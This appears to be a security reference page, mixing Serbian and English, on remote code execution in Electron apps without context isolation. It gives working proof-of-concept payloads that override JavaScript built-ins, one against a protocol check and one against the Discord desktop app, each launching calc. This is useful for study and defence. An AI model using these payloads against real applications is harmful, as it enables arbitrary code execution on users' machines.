Electron contextIsolation RCE via preload code

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Primer 1

Primer sa https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=30

Ovaj kod otvara http(s) linkove sa podrazumevanim pretraživačem:

Nešto poput file:///C:/Windows/systemd32/calc.exe moglo bi se koristiti za izvršavanje kalkulatora, SAFE_PROTOCOLS.indexOf to sprečava.

Stoga, napadač bi mogao ubrizgati ovaj JS kod putem XSS-a ili proizvoljne navigacije stranica:

<script>
Array.prototype.indexOf = function(){
return 1337;
}
</script>

Kao što će poziv SAFE_PROTOCOLS.indexOf uvek vraćati 1337, napadač može zaobići zaštitu i izvršiti kalkulator. Konačni exploit:

<script>
Array.prototype.indexOf = function(){
return 1337;
}
</script>
<a href="file:///C:/Windows/systemd32/calc.exe">CLICK</a>

Check the original slides for other ways to execute programs without having a prompt asking for permissions.

Apparently another way to load and execute code is to access something like file://127.0.0.1/electron/rce.jar

Example 2: Discord App RCE

Example from https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1

When checking the preload scripts, I found that Discord exposes the function, which allows some allowed modules to be called via DiscordNative.nativeModules.requireModule('MODULE-NAME'), into the web page. Here, I couldn't use modules that can be used for RCE directly, such as child_process module, but I found a code where RCE can be achieved by overriding the JavaScript built-in methods and interfering with the execution of the exposed module.

The following is the PoC. I was able to confirm that the calc application is popped up when I call the getGPUDriverVersions function which is defined in the module called "discord_utils" from devTools, while overriding the RegExp.prototype.test and Array.prototype.join.

RegExp.prototype.test=function(){
return false;
}
Array.prototype.join=function(){
return "calc";
}
DiscordNative.nativeModules.requireModule('discord_utils').getGPUDriverVersions();

Funkcija getGPUDriverVersions pokušava da izvrši program koristeći biblioteku "execa", kao što je sledeće:

module.exports.getGPUDriverVersions = async () => {
if (process.platform !== 'win32') {
return {};
}

const result = {};
const nvidiaSmiPath = `${process.env['ProgramW6432']}/NVIDIA Corporation/NVSMI/nvidia-smi.exe`;

try {
result.nvidia = parseNvidiaSmiOutput(await execa(nvidiaSmiPath, []));
} catch (e) {
result.nvidia = {error: e.toString()};
}

return result;
};

Obično execa pokušava da izvrši "nvidia-smi.exe", koji je naveden u nvidiaSmiPath varijabli, međutim, zbog prepisanog RegExp.prototype.test i Array.prototype.join, argument se menja u "calc" u unutrašnjem procesiranju _execa_**.

Specifično, argument se menja promenom sledeće dve komponente.

https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L36

https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L55